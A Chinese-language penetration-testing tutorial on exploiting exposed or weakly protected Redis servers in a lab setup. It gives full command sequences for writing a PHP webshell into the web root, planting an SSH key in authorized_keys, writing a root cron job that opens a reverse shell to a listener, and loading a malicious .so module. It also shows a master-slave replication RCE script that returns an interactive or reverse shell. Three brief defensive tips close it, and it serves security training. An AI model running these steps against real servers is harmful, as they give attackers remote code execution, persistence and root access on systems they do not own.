redis数据库在渗透中的利用
前言
本文主要以redis未授权和redis弱口令漏洞为前提进行利用方式的讲解。
环境准备
测试环境
redis服务器
操作系统:Ubuntu 20.04 LTS
数据库:Redis
Web容器:Apache 2.4.41
脚本语言:PHP 7.4.3
攻击机
kali-rolling 2020.2
Redis数据库安装
Redis数据库下载地址:Redis_download
解压下载好的redis压缩文件进去redis文件夹,执行命令完成安装。
tar -zxvf redis-4.0.0.tar.gz
cd redis-4.0.0/
sudo make
cd /src
sudo make install
修改redis.conf
文件,让redis数据库支持外链接,这里我将bind 127.0.0.1
改为服务器ip地址。
将daemonize
改为yes,设置成作为后台进程运行。
如果以守护进程运行,则不会在命令行阻塞,类似于服务。
如果以非守护进程运行,则当前终端被阻塞。
执行redis-server
启动redis数据库。
也可以通过执行redis-server redis-4.0.0/redis.conf
加载redis.conf配置文件后台启动redis。
默认情况下redis是没配置密码的,直接通过kali进行连接然后执行info
。
完成redis数据库安装。
Apache和php安装
sudo apt install apache2 安装apache服务
service apache2 status 查看apache服务状态
服务为绿色,Apache服务为开启状态。
或者访问localhost查看开启状态,有apache默认页面及正常启动。
默认情况下是监听80端口,若80端口被占用,可以修改/etc/apache2/ports.conf
内容来修改监听端口。我这里将常用的配置文件简单列出来。
/etc/apache2/ports.conf apache服务端口
/etc/apache2/sites-available/000-default.conf 网站根目录
/etc/apache2/mods-available/dir.conf 网站默认页面
安装php并且让apache解析php文件。
sudo apt install php libapache2-mod-php 安装php
执行命令php -v
查看php版本。
进入网站目录并给网站目录加权限,创建一个php文件对其进行访问,看apache是否成功解析php文件。
cd /var/www/
sudo chmod 777 html/
cd html/
echo '<?php phpinfo();' > 1.php
访问1.php,若出现phpinfo页面则表示apache成功过解析php文件。
若没有解析成功执行sudo apt install libapache2-mod-php7.4
安装解析mod。(这里以php7.4为例子)
连接方式
对于个人而言,常用的Redis
数据库的连接方式为:redis-cli
、Redis Desktop Manager
和蚁剑的redis数据库插件
,通过这三种方式链接过后可以进行数据库的一些命令操作,接下来我就简单的进行这三种方式连接、执行命令的一个演示。
redis-cli
sudo apt install redis 安装redis服务
redis-cli -h host -p port -a password 连接redis数据库
ip:6379> info 查看redis数据库信息
通过执行info
命令可以获取数据库相关信息,主要需要得到的信息就是目标的一个操作系统,还有redis数据库的版本。
Redis Desktop Manage
打开Redis Desktop Manage点击连接到redis服务器,进行目标信息的填写。
测试连接
点击确定,然后打开刚刚创建的连接,ctrl+T
或者点击打开控制台,进行命令执行。
执行info
命令。
蚁剑redis数据库插件
打开蚁剑->点击antsword
->选择插件市场->Redis管理,进行插件的安装。
要利用这个插件,首先需要一个shell,这个shell可以是目标,也可以是其他的shell。
这里就直接在目标服务器上创建一个shell.php
的文件,蚁剑直接进行连接。
选中添加的shell->加载插件->数据库管理->Redis管理
这里也可以将插件放在首页。点击设置->勾选插件->save,这样选中shell之后,点击上面的按钮就可以方便的使用插件了。
打开插件后,先点击左上角添加,填写目标redis数据库ip和端口,这里我们利用的是目标服务器上的shell,所以这里选择127.0.0.1:6379,若用的其他shell,这里填写目标的ip和端口即可。
打开创建的连接,选中其中一个db,右键,点击执行命令。
执行info
命令。
利用方式
我会在讲解利用方式的同时进行三种连接方式的演示和讲解利用方式的优劣。
环境:
- 数据库版本:3.0.0
写入webshell
必要条件:
- 知道网站绝对路径
- 拥有网站目录写入权限
redis-cli
连接数据库,查看信息。
redis-cli -h 192.168.111.135
192.168.111.135:6379> info
查看所有键,创建新键,键值为webshell,这里我写入phpinfo进行一个演示。
因为创建新键赋键值会把原来的键值覆盖,所以需要在赋值的时候需要查看所有的键,然后选择一个没有的键创建赋值。
查看redis数据库配置信息。
因为我们写Webshell会修改dir
和dbfilename
,所以这里查看配置信息主要记下原来的值,好在写入后修改回来。
设置webshell输出目录和文件名,然后写入Webshell。
还原数据库配置。
keys * 查看所有键
set x "\n<?php phpinfo();>\n" 创建x键并且赋值
config get * 查看设置默认值
config set dir /var/www/html 设置文件写入目录
config set dbfilename 1.php 设置写入文件名
save 保存,完成文件写入
del x 删除创建的x键
config set dir /home/cooltige/redis-3.0.0 设置回原来的目录
config set dbfilename dump.rdb 设置回原来的文件名
Redis Desktop Manager
步骤和redis-cli差不多。
打开创建的连接,所有存在的键,都会在左边进行一个显示。从这里我们可以看到,redis-cli
创建的键,默认是选中的db0
。
查看配置config get *
设置shell导出目录和文件名,完成shell写入。
蚁剑redis数据库插件
在实际环境中,都已经有了shell了,就没有必要进行webshell的写入。这里我演示就相当于这个shell不是目标的shell。
蚁剑可以通过keys *
和看左边进行一个键的查看。
步骤都差不多的,我这里直接演示写shell。
通过服务器查看蚁剑写入的文件。
可以看到我们给w
键赋值的是"\n<?php phpinfo();?>\n"
但是写入文件后,\
不见了。
通过get w
,可以看到我们在设置键值的时候\
就未设置上,所以在写入文件后\
是不存在的。
将一个\
变成\\
就可以成功写入完整内容。
我通过三种方式写入同样的内容到服务器上(键值都有\n),然后进行了一个对比。
phpinfo.php为redis-cli写的。
ant.php为蚁剑插件写的。
manager.php为Redis Desktop Manager写的。
可以看到,只有通过redis-cli
写入,\n
在写入的时候才会被当作为换行。
在这里写入webshell,没有影响,不过在下面的利用方式中就会有很大的影响。
写入ssh公钥
必要条件:
- 知道启动服务的用户
- 拥有.ssh目录
- 允许使用基于密钥认证的方式登陆
环境:
- redis 3.0.0
这里主要讲解2种生成密钥的方法:
- ssh-keygen
- xshell
ssh-keygen
输入命令,填写公钥私钥文件名,其中密码可以为空。
.pub扩展名为我们需要写入的公钥
ssh-keygen -t rsa 生成公钥和私钥
在上面写入webshell中,可以看到我们写入到文件中,文件不会只有我们写入的内容,所以这里需要将公钥的内容进行一个补充,在头尾加入换行符。
xshell
打开xshell->左上角点击文件->新建->用户身份认证->方法选public key
->用户密钥处点击浏览就可以开始生成私钥和公钥了
点击生成然后下一步下一步,填写公钥私钥的文件名称,然后下一步(密码可以为空)。
点击下一步,可以看到框里面的就是私钥的内容,和上面ssh-keygen的私钥差不多。
在头尾加入换行符就准备好写入的内容了。
redis-cli
步骤和写入webshell差不多。
查看所有键值,创建新建并且赋值,这里我创建2个键,x为xshell
生成的公钥,s为ssh-keygen
生成的公钥。
设置写入文件路径,文件名称,完成公钥的写入。
若为root启动redis服务,那么文件路径设置为/root/.ssh
。
若为redis或者其他用户启动,那设置为/home/user/.ssh
。
成功写入后,直接利用ssh或者xshell进行连接即可。
ssh连接
ssh -i 私钥 user@ip
xshell连接
方法选为public key,选择上传的公钥对应的私钥。
keys * 查看所有键
set x "\n\n公钥内容\n\n" 创建x键并且赋值
config get * 查看设置默认值
config set dir /home/cooltige/.ssh 设置文件写入目录
config set dbfilename authorized_keys 设置写入文件名
save 保存,完成文件写入
del x 删除创建的x键
config set dir /home/cooltige/redis-3.0.0 设置回原来的目录
config set dbfilename dump.rdb 设置回原来的文件名
Redis Desktop Manager
方法步骤都差不多,这里我就直接演示写入成功和连接状态。
连接失败。查看服务器上文件写入的内容。
可以看到\n
和写入webshell的效果一样的,没有被当作为换行符,公钥写入和webshell不一样,公钥之间以换行符进行区分,这个地方将所有的内容当成为公钥了,所以没办法进行一个连接。
不过我们可以在创建键的时候,通过回车代替\n
达到一个换行符的效果。
蚁剑redis数据库插件
蚁剑redis数据库插件通过set的方式创建键值然后写入公钥,结果显而易见,也是没办法进行一个连接的。所以我们通过右键新增key来进行键值的创建。
同redis desktop manager一样用回车代替\n
。
执行剩下的操作,写入公钥。
连接成功。
写定时任务反弹shell
必要条件:
- 拥有计划任务目录写权限
- 目标启动计划服务
环境:
- redis 3.0.0
- CentOS Linux release 7.8.2003 (Core)
写计划任务必须拥有计划任务目录的写权限,所有这里以Root进行redis服务的启动。
kali进行一个监听 nc -lvp 8986
.
这里主要以redis-cli
连接方式进行演示。剩下2种方式操作参考上面就行了。
设置键并且赋值,设置文件输出目录,设置输出文件名,这里是以root启动服务,所有文件名就设置为root。
这里计划任务的意思为每分钟执行下反弹命令。
过了1分钟,shell完成反弹。
测试了centos7和ubuntu,默认情况下redis写入计划任务反弹shell,在centos下是可以的。
由于redis写入文件会写入脏数据,ubuntu计划任务不允许有脏数据,所以ubuntu没办法通过redis写入计划任务进行操作。
keys * 查看所有键
set x "\n\n计划任务内容\n\n" 创建x键并且赋值
config get * 查看设置默认值
config set dir /var/spool/cron 设置文件写入目录
config set dbfilename root 设置写入文件名
save 保存,完成文件写入
del x 删除创建的x键
config set dir /home/cooltige/redis-4.0.0 设置回原来的目录
config set dbfilename dump.rdb 设置回原来的文件名
模块加载执行命令
必要条件:
- 目标服务器上有
.so
文件 - redis支持module命令
环境:
- redis 4.0.0
so文件下载地址:exp.so
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so
文件。
主要原理为webshell上传.so
文件,然后通过redis
的module
命令进行加载.so
文件,然后进行系统命令执行,这里主要是讲解利用方式,我就不对.so
文件原理进行一个讲解。
实战中这种用法一般用在getshell后,上传.so
文件进行一个命令执行。
所以这里我主要以蚁剑redis数据库插件进行一个演示。
通过webshell将我们的.so
文件上传到目标服务器上。
利用模块连接数据库,执行命令加载模块。
删除模块,查看是否删除成功。
module load /tmp/557.so 加载模块
system.exec "whoami" 执行命令
module list 查看现有模块
module unload system 删除模块
若目标以root权限启动redis,在实战中就可以利用这种方式进行一个提权。
主从复制rce
主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。
默认情况下,每台Redis服务器都是主节点;且一个主节点可以有多个从节点(或没有从节点),但一个从节点只能有一个主节点。
主从复制RCE主要原理就是,攻击机通过协议认证成为主节点,目标redis服务器为从节点,通过全量复制将文件内容输出到目标服务器上(也就是写入so文件)。然后加载.so
文件,完成命令执行。
必要条件:
- redis版本 >= 4.x
利用过程了解了,实现只需要写一个脚本就可以了。
脚本下载:redis_rce
执行脚本,填入本地ip,redis服务器ip,so文件,选择i可以直接交互执行命令。
python redis-rce.py -L 192.168.111.132 -r 192.168.111.135 -f 557.so
这里再演示下选择r。监听一个端口,脚本会弹个shell过来。
通过wireshark抓包分析流量。
首先会执行Info获取信息。
这时候主要python脚本做了八件事:
本机设置为主机ip:192.168.111.132 port:21000
设置从机上导出的文件557.so
加载全量复制完成后在从机上生成的557.so文件
断开主从机器间复制(从节点不会删除已有的数据,只是不再接受主节点新的数据变化)
执行命令
还原dbfilename
通过命令删除主从复制到redis服务器上的so文件
移除加载的命令执行模块
其中2、3步之间为主从复制的关键。
通过redis-rogue-server脚本来查看2、3步之间的操作。
我将一些符号进行去除,最后得到这些内容。
其中主要的操作为:
主节点会向从节点发送PING命令,这个PING命令的作用,主要是为了让从节点进行超时判断
从服务器将执行命令REPLCONF listening-port 6379,向主服务器发送从服务器的监听端口号。执行REPLCONF capca eof capa psync2,主要是为了兼容不同版本,主机根据这些对从机采取不同的操作。
开始全量复制
防御建议
- 设置密码并且保证密码口令为强口令
- 以低权限启动redis数据库
- 不允许数据库外联并且设置白名单ip
总结
- 当目标为ubuntu的时候,由于自身机制原因,是没办法进计划任务写入的利用。
- 一切关于写入的操作都是覆盖,操作的时候一定要慎重。
- 根据不同的环境选择不同的连接方式可以更好的进行利用。
- 模块加载和主从复制rce目标数据库版本必须大于等于4.0.0